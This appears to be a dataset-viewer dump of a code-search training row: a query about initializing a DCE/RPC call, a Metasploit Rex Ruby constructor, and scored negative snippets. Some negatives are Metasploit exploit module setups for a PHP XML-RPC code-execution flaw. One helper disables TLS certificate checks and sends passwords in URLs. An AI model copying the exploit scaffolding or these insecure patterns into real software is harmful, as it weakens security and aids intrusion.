query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
initialize a DCE/RPC Function Call | def initialize(handle, socket, useroptions = Hash.new)
self.handle = handle
self.socket = socket
self.options = {
'smb_user' => '',
'smb_pass' => '',
'smb_pipeio' => 'rw',
'smb_name' => nil,
'read_timeout' => 10,
'connect_timeout' => 5
}
self.options.merge!(useroptions)
# If the caller passed us a smb_client object, use it and
# and skip the connect/login/ipc$ stages of the setup
if (self.options['smb_client'])
self.smb = self.options['smb_client']
end
# we must have a valid handle, regardless of everything else
raise ArgumentError, 'handle is not a Rex::Proto::DCERPC::Handle' if !self.handle.is_a?(Rex::Proto::DCERPC::Handle)
# we do this in case socket needs setup first, ie, socket = nil
if !self.options['no_socketsetup']
self.socket_check()
end
raise ArgumentError, 'socket can not read' if !self.socket.respond_to?(:read)
raise ArgumentError, 'socket can not write' if !self.socket.respond_to?(:write)
if !self.options['no_autobind']
self.bind()
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize(*)\n super\n @json_rpc_call_id = 0\n @json_rpc_endpoint = URI.parse(currency.rpc)\n end",
"def initialize\n @xmlrpc = ::XMLRPC::Marshal.new\n end",
"def new_function_call\n\t\t\t return create_function_call(SAPNW::RFC::FunctionCall)\n\t\t\tend",
"def initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name' => 'PHP XML-RPC Arbitrary Code Execution',\n\t\t\t'Description' => %q{\n\t\t\t\tThis module exploits an arbitrary code execution flaw\n\t\t\t\tdiscovered in many implementations of the PHP XML-RPC module.\n\t\t\t\tThis flaw is exploitable through a number of PHP web\n\t\t\t\tapplications, including but not limited to Drupal, Wordpress,\n\t\t\t\tPostnuke, and TikiWiki.\n\t\t\t},\n\t\t\t'Author' => [ \n\t\t\t\t\t\t\t\t'hdm', \n\t\t\t\t\t\t\t\t'cazz', \n\t\t\t\t\t\t\t\t'James Bercegay ( http://www.gulftech.org/ )'\n\t\t\t\t\t\t\t\t# June 05, 2011\n\t\t\t\t\t\t\t\t# - Added ARCH_PHP compatibility\n\t\t\t\t\t\t\t\t# - Cleaned up , and commented code in order to help aid \n\t\t\t\t\t\t\t\t# future development.\n\t\t\t\t\t\t\t\t# - Added original advisory reference\n\t\t\t\t\t\t\t\t# - One small line change to comply with msftidy\n\t\t\t\t\t\t\t\t],\n\t\t\t'License' => MSF_LICENSE,\n\t\t\t'Version' => '$Revision: 9929 $',\n\t\t\t'References' =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', '2005-1921'],\n\t\t\t\t\t['OSVDB', '17793'],\n\t\t\t\t\t['BID', '14088'],\n\t\t\t\t\t['http://www.gulftech.org/advisories/81'],\n\t\t\t\t],\n\t\t\t'Privileged' => false,\n\t\t\t'Platform' => 'php',\n\t\t\t'Arch' => ARCH_PHP,\n\t\t\t'Payload' => {\n\t\t\t\t\t'Space' => 512,\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t},\n\t\t\t'Targets' => [ ['Automatic', { }], ],\n\t\t\t'DefaultTarget' => 0,\n\t\t\t'DisclosureDate' => 'Jun 29 2005'\n\t\t\t))\n\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('PATH', [ true, \"Path to xmlrpc.php\", '/xmlrpc.php']),\n\t\t\t\t\n\t\t\t\t# Maximum size of randomly generated strings used\n\t\t\t\tOptInt.new('RLIM', [false, 'Random string limit' , 8 ]),\n\t\t\t\t\n\t\t\t\t# Very verbose output?\n\t\t\t\tOptBool.new('DBUG', [false, 'Verbose output? (Debug)' , nil ]),\n\t\t\t\t\n\t\t\t\t\n\t\t\t], self.class)\n\n\t\tderegister_options(\n\t\t\t'HTTP::junk_params', # not your typical POST, so don't inject params.\n\t\t\t'HTTP::junk_slashes' # Disable junk_slashes due to reliability issues.\n\t\t\t)\n\tend",
"def initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'PHP XML-RPC Arbitrary Code Execution',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits an arbitrary code execution flaw\r\n\t\t\t\tdiscovered in many implementations of the PHP XML-RPC module.\r\n\t\t\t\tThis flaw is exploitable through a number of PHP web\r\n\t\t\t\tapplications, including but not limited to Drupal, Wordpress,\r\n\t\t\t\tPostnuke, and TikiWiki.\r\n\t\t\t},\r\n\t\t\t'Author' => [ 'hdm', 'cazz' ],\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Version' => '$Revision: 9929 $',\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t['CVE', '2005-1921'],\r\n\t\t\t\t\t['OSVDB', '17793'],\r\n\t\t\t\t\t['BID', '14088'],\r\n\t\t\t\t],\r\n\t\t\t'Privileged' => false,\r\n\t\t\t'Platform' => ['unix', 'solaris'],\r\n\t\t\t'Payload' => {\r\n\t\t\t\t\t'Space' => 512,\r\n\t\t\t\t\t'DisableNops' => true,\r\n\t\t\t\t\t'Keys' => ['cmd', 'cmd_bash'],\r\n\t\t\t\t},\r\n\t\t\t'Targets' => [ ['Automatic', { }], ],\r\n\t\t\t'DefaultTarget' => 0,\r\n\t\t\t'DisclosureDate' => 'Jun 29 2005'\r\n\t\t\t))\r\n\r\n\r\n\t\tregister_options(\r\n\t\t\t[\r\n\t\t\t\tOptString.new('PATH', [ true, \"Path to xmlrpc.php\", '/xmlrpc.php']),\r\n\t\t\t], self.class)\r\n\r\n\t\tderegister_options(\r\n\t\t\t'HTTP::junk_params', # not your typical POST, so don't inject params.\r\n\t\t\t'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.\r\n\t\t\t)\r\n\tend",
"def initialize(ip, secret)\n @ip = ip\n @secret = secret\n \n @conn = SOAP::RPC::Driver.new(\"https://#{@ip}:17443\")\n @conn.add_method(\"set_parameters\", \"djinn_locations\", \"database_credentials\", \"app_names\", \"secret\")\n @conn.add_method(\"set_apps\", \"app_names\", \"secret\")\n @conn.add_method(\"set_apps_to_restart\", \"apps_to_restart\", \"secret\")\n @conn.add_method(\"status\", \"secret\")\n @conn.add_method(\"get_stats\", \"secret\")\n @conn.add_method(\"update\", \"app_names\", \"secret\")\n @conn.add_method(\"stop_app\", \"app_name\", \"secret\") \n @conn.add_method(\"get_all_public_ips\", \"secret\")\n @conn.add_method(\"is_done_loading\", \"secret\")\n @conn.add_method(\"is_done_initializing\", \"secret\")\n @conn.add_method(\"add_role\", \"new_role\", \"secret\")\n @conn.add_method(\"remove_role\", \"old_role\", \"secret\")\n @conn.add_method(\"get_queues_in_use\", \"secret\")\n @conn.add_method(\"add_appserver_to_haproxy\", \"app_id\", \"ip\", \"port\",\n \"secret\")\n @conn.add_method(\"remove_appserver_from_haproxy\", \"app_id\", \"ip\", \"port\",\n \"secret\")\n @conn.add_method(\"add_appserver_process\", \"app_id\", \"secret\")\n @conn.add_method(\"remove_appserver_process\", \"app_id\", \"port\", \"secret\")\n end",
"def initialize secret = Time.now.to_f, uri = OPENDHT_URI\n @uri = uri\n uri = URI.parse(@uri)\n\n @rpc = XMLRPC::Client.new3(\n :host => uri.host,\n :port => uri.port,\n :path => uri.path\n )\n @secret = secret.to_s\n @internal_hash = Hash.new { |h,k|\n h[k] = RemoteArray.new(k, @secret, @uri)\n }\n self.debug_output = nil\n self.debug_output = Logger.new($stdout) if $DEBUG\n end",
"def initialize(ip, secret)\n @ip = ip\n @secret = secret\n \n @conn = SOAP::RPC::Driver.new(\"https://#{@ip}:17443\")\n @conn.add_method(\"neptune_start_job\", \"job_data\", \"secret\")\n @conn.add_method(\"neptune_put_input\", \"job_data\", \"secret\")\n @conn.add_method(\"neptune_get_output\", \"job_data\", \"secret\")\n @conn.add_method(\"neptune_get_acl\", \"job_data\", \"secret\")\n @conn.add_method(\"neptune_set_acl\", \"job_data\", \"secret\")\n @conn.add_method(\"neptune_compile_code\", \"job_data\", \"secret\")\n end",
"def mpt_init=(_arg0); end",
"def initialize(options = {})\n [:username, :password, :rpc_key, :auth_key].each do |credential|\n raise \"#{credential} is required\" if option[crendential].nil?\n instance_variable_set credential, options[crendential]\n end\n @server = XMLRPC::Client.new_from_hash(host: 'cp.secureserver.co.nz', path: '/remote_cp_server/server.asys', use_ssl: true)\n end",
"def initialize(uid, ipcon)\n super uid, ipcon\n\n @api_version = [2, 0, 0]\n\n @response_expected[FUNCTION_SET_STATE] = RESPONSE_EXPECTED_FALSE\n @response_expected[FUNCTION_GET_STATE] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[FUNCTION_SET_MONOFLOP] = RESPONSE_EXPECTED_FALSE\n @response_expected[FUNCTION_GET_MONOFLOP] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[CALLBACK_MONOFLOP_DONE] = RESPONSE_EXPECTED_ALWAYS_FALSE\n @response_expected[FUNCTION_SET_SELECTED_STATE] = RESPONSE_EXPECTED_FALSE\n @response_expected[FUNCTION_GET_IDENTITY] = RESPONSE_EXPECTED_ALWAYS_TRUE\n\n @callback_formats[CALLBACK_MONOFLOP_DONE] = 'C ?'\n end",
"def local_init(args)\n end",
"def call(*args)\n @args[:communicator].communicate(\n type: :call_created_func,\n id: @args[:id],\n args: @args[:php_process].parse_data(args)\n )\n end",
"def initialize args={}\n @client_id = ''\n @req_id = 1\n @callbacks = {}\n @state = :state_inited\n @username = args[:username] || ''\n @password = args[:password] || ''\n @md5 = args[:md5] || false\n end",
"def call(method, *args) rpc_execute(method, *args) end",
"def initialize_client\n secret = Settings['xml_rpc'] ? Settings.xml_rpc['secret'] : nil\n endpoint = Settings['xml_rpc'] ? Settings.xml_rpc['endpoint'] : nil\n fail ArgumentError, \"#{endpoint} is not a valid URL.\" if endpoint && !uri?(endpoint)\n\n @client = OpenNebula::Client.new(secret, endpoint)\n end",
"def initialize(rigctl=true, host=\"127.0.0.1\", port=7362)\n # Housekeeping.\n @host=host\n @port=port\n @message=\"\"\n @rigctl=rigctl\n @errors=Array.new\n\n # Set up the defaults.\n @dial_freq=14070000.0\n @dial_freq_old=nil\n @carrier=1000\n @call=nil\n @call_old=nil\n @modem=\"BPSK31\"\n @modem_old=nil\n @afc=true\n @afc_old=nil\n @rsid=nil\n @rsid_old=nil\n @sideband=\"USB\"\n @sideband_old=nil\n @squelch=true\n @squelch_old=nil\n @slevel=3.0\n @slevel_old=nil\n @spot=nil\n @spot_old=nil\n @offset=0\n @offset_old=0\n @start_wait=10\n @char_wait=2\n @debug=false\n @fexpire=3\n @ftime=0\n\n # Propnet stuff.\n @band=nil\n @fsym=nil\n @delay=nil\n @grid=nil\n @phg=nil\n @phgtext=\"\"\n\n # Connect to the FLDigi instance.\n @srvr=XMLRPC::Client.new(host,\"/RPC2\",port)\n @m=Mutex.new\n end",
"def initialize(fd=nil)\n\t\t\t @parameters = {}\n\t\t\t if fd == nil\n\t\t\t\t @function_descriptor.parameters.each_pair do |k,v|\n\t\t\t\t @parameters[k] = v.clone\n\t\t\t\t end\n\t\t\t\telse \n\t\t\t\t fd.parameters.each_pair do |k,v|\n\t\t\t\t @parameters[k] = v.clone\n\t\t\t\t end\n\t\t\t\tend\n\t\t\t\t@parameters_list = @parameters.values || []\n\t\t\tend",
"def initialize(info = {})\n super\n\n register_evasion_options(\n [\n OptBool.new('ONCRPC::tcp_request_fragmentation', [false, 'Enable fragmentation of TCP ONC/RPC requests', false]),\n ], Msf::Exploit::Remote::SunRPC\n )\n\n\n register_advanced_options(\n [\n OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 10])\n # XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req\n ], Msf::Exploit::Remote::SunRPC)\n\n register_options(\n [\n # XXX: XPORT\n Opt::RHOST,\n Opt::RPORT(111),\n ], Msf::Exploit::Remote::SunRPC\n )\n end",
"def initialize(opts={})\n @sd = {:sdversion => '1.0'}.merge(opts)\n raise Error, \"JSON-RPC service must have an :sdversion of 1.0\" if @sd[:sdversion] != '1.0'\n raise Error, \"JSON-RPC service must have a :name\" if @sd[:name].blank?\n raise Error, \"JSON-RPC service must have an :id\" if @sd[:id].blank?\n @disabled = opts[:disabled]\n @procs = {}\n self.add_procedure :name => 'system.describe', :proc => lambda { system_describe },\n :return => {:type => 'obj'}\n end",
"def call\n\n\tend",
"def call\n\n\tend",
"def initialize(user, password, application_name, host=\"192.168.0.8\", port=3790, mode='multiUser')\n @user = user\n @password = password\n @application_name = application_name\n @host = host\n @port = port\n @mode = mode\n @ticket = nil\n @soap_client = nil \n end",
"def initialize(uid, ipcon)\n super uid, ipcon\n\n @api_version = [2, 0, 0]\n\n @response_expected[FUNCTION_SET_PORT] = RESPONSE_EXPECTED_FALSE\n @response_expected[FUNCTION_GET_PORT] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[FUNCTION_SET_PORT_CONFIGURATION] = RESPONSE_EXPECTED_FALSE\n @response_expected[FUNCTION_GET_PORT_CONFIGURATION] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[FUNCTION_SET_DEBOUNCE_PERIOD] = RESPONSE_EXPECTED_TRUE\n @response_expected[FUNCTION_GET_DEBOUNCE_PERIOD] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[FUNCTION_SET_PORT_INTERRUPT] = RESPONSE_EXPECTED_TRUE\n @response_expected[FUNCTION_GET_PORT_INTERRUPT] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[CALLBACK_INTERRUPT] = RESPONSE_EXPECTED_ALWAYS_FALSE\n @response_expected[FUNCTION_SET_PORT_MONOFLOP] = RESPONSE_EXPECTED_FALSE\n @response_expected[FUNCTION_GET_PORT_MONOFLOP] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[CALLBACK_MONOFLOP_DONE] = RESPONSE_EXPECTED_ALWAYS_FALSE\n @response_expected[FUNCTION_SET_SELECTED_VALUES] = RESPONSE_EXPECTED_FALSE\n @response_expected[FUNCTION_GET_IDENTITY] = RESPONSE_EXPECTED_ALWAYS_TRUE\n\n @callback_formats[CALLBACK_INTERRUPT] = 'k C C'\n @callback_formats[CALLBACK_MONOFLOP_DONE] = 'k C C'\n end",
"def ljcall(ljfnname,params = {})\n get_challenge\n paramhash = @paramhash.merge Hash[*(params.map do |a,b| \n [a.to_s,b] \n end.flatten)]\n @client.call \"LJ.XMLRPC.#{ljfnname.to_s}\", paramhash\n end",
"def initialize(username, password, https=true, log=false, requestlog=true)\n\n\t\t# need it for every request - will be merged in\n\t\tself.opts= { :param => { :login => username, :password => password}}\n\t\t\n\t\t# set savon logging and erros\n\t\tSavon.configure do |config|\n\t\t\tconfig.raise_errors = true # raise SOAP faults and HTTP errors\n\t\t\tconfig.log = log # enable/disable logging\n\t\t\tconfig.log_level = :debug # changing the log level\n\t\tend\n\t\t\n\t\tHTTPI.log=requestlog\n\t\t\n\t\t# build dynamically all methods - some magic :-)\n\t\tmake_methods\n\t\t\n\t\t# creates client with memotoo settings \n\t\tclient(https)\n\tend",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call() end",
"def mpt_init; end",
"def initialize(user_options)\n\n # configure default options\n @options = {\n :project => user_options[:project] || \"default\", \n :port => user_options[:project] || 55553,\n :user => user_options[:rpc_user], \n :pass => user_options[:rpc_pass], \n :db_host => user_options[:db_host] || \"localhost\",\n :db_user => user_options[:db_user],\n :db_pass => user_options[:db_pass],\n :db => user_options[:db_name] || \"msf\"\n }\n \n @options.merge!(user_options)\n\n #\n # Connect to the RPC daemon using the default client\n #\n @client = Msf::RPC::Client.new(@options)\n\n #\n # Connect to the database based on the included options\n #\n _connect_database\n\n #\n # Add a new workspace\n #\n @workspace_name = Time.now.utc.to_s.gsub(\" \",\"_\").gsub(\":\",\"_\")\n _create_workspace\n\n #\n # Create a logger\n #\n #@logger = Msf::RPC::Simple::Logger.new\n end",
"def call\n end",
"def initialize(service_name = T.unsafe(nil), environment = T.unsafe(nil), options = T.unsafe(nil)); end",
"def initialize(algorithms, connection, data); end",
"def call\n end",
"def init_client; end",
"def FunctionCall(rest, parsed); end",
"def init\n @calls = []\n @accept_nodes = []\n @connected_nodes = nil\n @remote_bash_code = nil\n end",
"def initialize(call, marshal, unmarshal, deadline, started: true,\n metadata_received: false, metadata_to_send: nil)\n fail(TypeError, '!Core::Call') unless call.is_a? Core::Call\n @call = call\n @deadline = deadline\n @marshal = marshal\n @unmarshal = unmarshal\n @metadata_received = metadata_received\n @metadata_sent = started\n @op_notifier = nil\n\n fail(ArgumentError, 'Already sent md') if started && metadata_to_send\n @metadata_to_send = metadata_to_send || {} unless started\n @send_initial_md_mutex = Mutex.new\n\n @output_stream_done = false\n @input_stream_done = false\n @call_finished = false\n @call_finished_mu = Mutex.new\n\n @client_call_executed = false\n @client_call_executed_mu = Mutex.new\n\n # set the peer now so that the accessor can still function\n # after the server closes the call\n @peer = call.peer\n end",
"def initialize\n puts MESSAGE_MAIN\n @str = stty\n call\n end",
"def initialize(name, function_type)\n super(PuppetStrings::Yard::CodeObjects::Functions.instance(function_type), name)\n @parameters = []\n @function_type = function_type\n end",
"def rpc(action, args={})\n company = @company\n username = @user\n password = @password\n url = \"https://#{company}.logicmonitor.com/santaba/rpc/#{action}?\"\n args.each_pair do |key, value|\n url << \"#{key}=#{value}&\"\n end\n url << \"c=#{company}&u=#{username}&p=#{password}\"\n uri = URI(url)\n begin\n http = Net::HTTP.new(uri.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(req)\n return response.body\n rescue SocketError => se\n puts \"There was an issue communicating with #{url}. Please make sure everything is correct and try again. Exiting\"\n puts se.message\n exit 3\n rescue Error => e\n puts \"There was an issue.\"\n puts e.message\n puts \"Exiting\"\n exit 4\n end\n return nil\nend",
"def msfrpc(report_id)\n @msfoptions = RemoteEndpoints.first(:report_id => report_id)\n\n opts = {\n :host => @msfoptions.ip,\n :port => @msfoptions.port,\n :user => @msfoptions.user,\n :pass => @msfoptions.pass\n }\n begin\n rpc = Msf::RPC::Client.new(opts)\n rescue Exception => log\n puts \"[!] MSF CONNECTION FAILED\"\n puts log.message\n rpc = false\n end\n return rpc\nend",
"def initialize(uid, ipcon)\n super uid, ipcon\n\n @api_version = [2, 0, 0]\n\n @response_expected[FUNCTION_GET_VALUE] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[FUNCTION_SET_GROUP] = RESPONSE_EXPECTED_FALSE\n @response_expected[FUNCTION_GET_GROUP] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[FUNCTION_GET_AVAILABLE_FOR_GROUP] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[FUNCTION_SET_DEBOUNCE_PERIOD] = RESPONSE_EXPECTED_TRUE\n @response_expected[FUNCTION_GET_DEBOUNCE_PERIOD] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[FUNCTION_SET_INTERRUPT] = RESPONSE_EXPECTED_TRUE\n @response_expected[FUNCTION_GET_INTERRUPT] = RESPONSE_EXPECTED_ALWAYS_TRUE\n @response_expected[CALLBACK_INTERRUPT] = RESPONSE_EXPECTED_ALWAYS_FALSE\n @response_expected[FUNCTION_GET_IDENTITY] = RESPONSE_EXPECTED_ALWAYS_TRUE\n\n @callback_formats[CALLBACK_INTERRUPT] = 'S S'\n end",
"def initialize\n # These require statements are intentionally placed here to initialize\n # the gRPC module only when it's required.\n # See https://github.com/googleapis/toolkit/issues/446\n require \"gapic/grpc\"\n require \"google/cloud/functions/v2/functions_services_pb\"\n\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n [email protected](\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = Operations.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @location_client = Google::Cloud::Location::Locations::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @iam_policy_client = Google::Iam::V1::IAMPolicy::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @function_service_stub = ::Gapic::ServiceStub.new(\n ::Google::Cloud::Functions::V2::FunctionService::Stub,\n credentials: credentials,\n endpoint: @config.endpoint,\n channel_args: @config.channel_args,\n interceptors: @config.interceptors\n )\n end",
"def initialize(p)\n @host = p[:host]\n @port = p[:port]\n @user = p[:user]\n @pass = p[:pass]\n @cvsroot = p[:cvsroot].strip\n @debug = p[:debug]\n @ports_tree = p[:ports_tree].strip\n\n @client = TCPSocket.open(@host, @port)\n request(\"BEGIN AUTH REQUEST\")\n request(@cvsroot)\n request(@user)\n request(CVSDumb.pass_scramble(@pass))\n request(\"END AUTH REQUEST\")\n fail \"cannot auth to #{@user}@#{@host}\" if getline != 'I LOVE YOU'\n end",
"def initialize(name=nil, option={}, argv=[], *args)\n name ||= (self.class.to_s.split(/::/)).last.downcase\n option = OpenStruct.new(option) if option.is_a? Hash\n @name, @option, @argv = name.to_sym, option, argv\n a, s, r = @@global.accesskey, @@global.secretkey, @@global.region\n @@sdb ||= Rudy::AWS::SDB.new(a, s, r)\n \n # Grab the routines configuration for this routine name\n # e.g. startup, sysupdate, installdeps\n @routine = fetch_routine_config @name rescue {}\n \n ld \"Routine: #{@routine.inspect}\"\n \n if @routine\n # Removes the dependencies from the routines hash. \n # We run these separately from the other actions.\n @before, @after = @routine.delete(:before), @routine.delete(:after)\n end\n \n # Share one Rye::Box instance for localhost across all routines\n unless defined?(@@lbox)\n host, opts = @@global.localhost, { :user => Rudy.sysinfo.user }\n @@lbox = Rudy::Routines::Handlers::RyeTools.create_box host, opts\n end\n \n disable_run if @@global.testrun\n \n # We create these frozen globals for the benefit of \n # the local and remote routine blocks. \n $global = @@global.dup.freeze unless $global\n $option = option.dup.freeze unless $option\n \n ## TODO: get the machine config for just the current machine group. This\n ## probably requires Caesars to be aware of which nodes are structural. \n ##$config = fetch_machine_config unless $config\n \n init(*args) if respond_to? :init\n end",
"def post_init\n log_debug '[client-cnxn] Post init, new read buffer created'\n @buffer = Protobuf::Rpc::Buffer.new :read\n rescue\n fail(:RPC_ERROR, 'Connection error: %s' % $!.message) unless failed?\n end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def initialize_instance\n super\n userHandle.value = get_parameter(:handle)\n request.pduHead.frag_length = self.num_bytes\n request.opnum.value = 47 \t\t#SamrQueryInformationUser2\n end",
"def initialize(username, password, api_entrypoint, options={}, backward_compatibility_cluster=nil, backward_compatibility_filtered=nil )\n if !options.is_a?(Hash)\n # backward compatibility optional parameters\n options = {:datacenter_id => options,\n :cluster_id => backward_compatibility_cluster,\n :filtered_api => backward_compatibility_filtered}\n end\n @api_entrypoint = api_entrypoint\n @credentials = { :username => username, :password => password }\n @datacenter_id = options[:datacenter_id]\n @cluster_id = options[:cluster_id]\n @filtered_api = options[:filtered_api]\n @ca_cert_file = options[:ca_cert_file]\n @ca_cert_store = options[:ca_cert_store]\n @ca_no_verify = options[:ca_no_verify]\n @persistent_auth = options[:persistent_auth]\n @jsessionid = options[:jsessionid]\n end",
"def initialize(config, register, rpc_service)\n @register = register\n @rpc_service = rpc_service\n @config = config\n\n @server_address = \"0.0.0.0:#{config.data.dig('languageService','port')}\"\n @rpc_service.add_http2_port(@server_address, :this_port_is_insecure)\n @rpc_service.handle(self)\n @logger = Logger.new(config.data.dig('languageService','logger', 'file'))\n @logger.level = Logger::Severity.const_get(config.data.dig('languageService','logger', 'level'))\n end",
"def __init__ context\n function = Virtual::CompiledMethod.new(:__init__ , [] , Virtual::Integer)\n clazz = Virtual::BootSpace.space.get_or_create_class :Kernel\n method = clazz.resolve_method :main\n me = Virtual::Self.new(Virtual::Reference)\n code = Virtual::Set.new(Virtual::Self.new(me.type), me)\n function.add_code(code)\n function.add_code Virtual::MethodCall.new(method)\n return function\n end",
"def init\n @init.call if @init\n end",
"def initialize(call_number)\n @call_number = call_number\n end",
"def initialize(options = {:retry_auth => true}) \n @authuser = options[:username] || (raise Exception::MissingArgument, \"Must supply a :username\")\n @authkey = options[:api_key] || (raise Exception::MissingArgument, \"Must supply an :api_key\")\n @auth_url = options[:auth_url] || (raise Exception::MissingArgument, \"Must supply an :auth_url\")\n @authtenant = options[:authtenant] || @authuser\n @auth_method = options[:auth_method] || \"password\"\n @service_name = options[:service_name] || nil\n @service_type = options[:service_type] || \"compute\"\n @region = options[:region] || @region = nil\n @is_debug = options[:is_debug]\n\n auth_uri=nil\n begin\n auth_uri=URI.parse(@auth_url)\n rescue Exception => e\n raise Exception::InvalidArgument, \"Invalid :auth_url parameter: #{e.message}\"\n end\n raise Exception::InvalidArgument, \"Invalid :auth_url parameter.\" if auth_uri.nil? or auth_uri.host.nil?\n @auth_host = auth_uri.host\n @auth_port = auth_uri.port\n @auth_scheme = auth_uri.scheme\n @auth_path = auth_uri.path\n @retry_auth = options[:retry_auth]\n @proxy_host = options[:proxy_host]\n @proxy_port = options[:proxy_port]\n @authok = false\n @http = {}\n OpenStack::Compute::Authentication.init(self)\n end",
"def initialize\n # These require statements are intentionally placed here to initialize\n # the gRPC module only when it's required.\n # See https://github.com/googleapis/toolkit/issues/446\n require \"gapic/grpc\"\n require \"google/cloud/functions/v1/functions_services_pb\"\n\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n [email protected](\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = Operations.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @location_client = Google::Cloud::Location::Locations::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @iam_policy_client = Google::Iam::V1::IAMPolicy::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @cloud_functions_service_stub = ::Gapic::ServiceStub.new(\n ::Google::Cloud::Functions::V1::CloudFunctionsService::Stub,\n credentials: credentials,\n endpoint: @config.endpoint,\n channel_args: @config.channel_args,\n interceptors: @config.interceptors\n )\n end",
"def initialize() end",
"def initialize(transport, options = T.unsafe(nil)); end",
"def initialize(transport, options = T.unsafe(nil)); end",
"def initialize(user, password, server=\"www.livejournal.com\")\n @client = XMLRPC::Client.new server, \"/interface/xmlrpc\"\n @user = user\n @password = MD5.md5(password).to_s\n @paramhash = { \"username\" => user,\n \"auth_method\" => \"challenge\",\n \"ver\" => 1 }\n @restful_ish_client = Net::HTTP.new(\"www.livejournal.com\")\n @restful_ish_client_headers = { \n \"User-Agent\" => \"RubyLJ\",\n \"Content-Type\" => \"text/xml; charset=UTF-8\",\n \"Connection\" => \"keep-alive\"\n }\n @comment_cache_dir = \"db/ljcomments\"\n @comment_cache = File.join(@comment_cache_dir, \"allcomments.xml\")\n end",
"def initialize(in_conn_parms)\n conn_parms = FFI::MemoryPointer.new(API::ConnectParams, 1, true)\n @connect_params = conn_parms\n set_param(in_conn_parms, :vmxSpec)\n # Increment structure pointer to server_name\n set_param(in_conn_parms, :serverName)\n # Increment structure pointer to thumbPrint\n set_param(in_conn_parms, :thumbPrint)\n # Increment structure pointer to privateUse\n conn_parms = @connect_params + API::ConnectParams.offset_of(:privateUse)\n conn_parms.write_long(in_conn_parms[:privateUse]) unless in_conn_parms[:privateUse].nil?\n # Increment structure pointer to credType\n cred_type = in_conn_parms[:credType]\n conn_parms = @connect_params + API::ConnectParams.offset_of(:credType)\n conn_parms.write_int(cred_type) unless cred_type.nil?\n get_safe_creds(cred_type, in_conn_parms, @connect_params + API::ConnectParams.offset_of(:creds))\n conn_parms = @connect_params + API::ConnectParams.offset_of(:port)\n conn_parms.write_uint32(in_conn_parms[:port]) unless in_conn_parms[:port].nil?\n conn_parms.write_uint32(0) if API::VERSION_MAJOR > 5\n @connect_params\n end",
"def rpc(options={})\n options[:client_id] ||= @client_id if @client_id\n @rpc ||= Rpc.new(self)\n end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def call(env)\n request = Parapets::Service::Request.new(env)\n\n version(request.version).action(:call, Parapets::Service::Request).call(env)\n end",
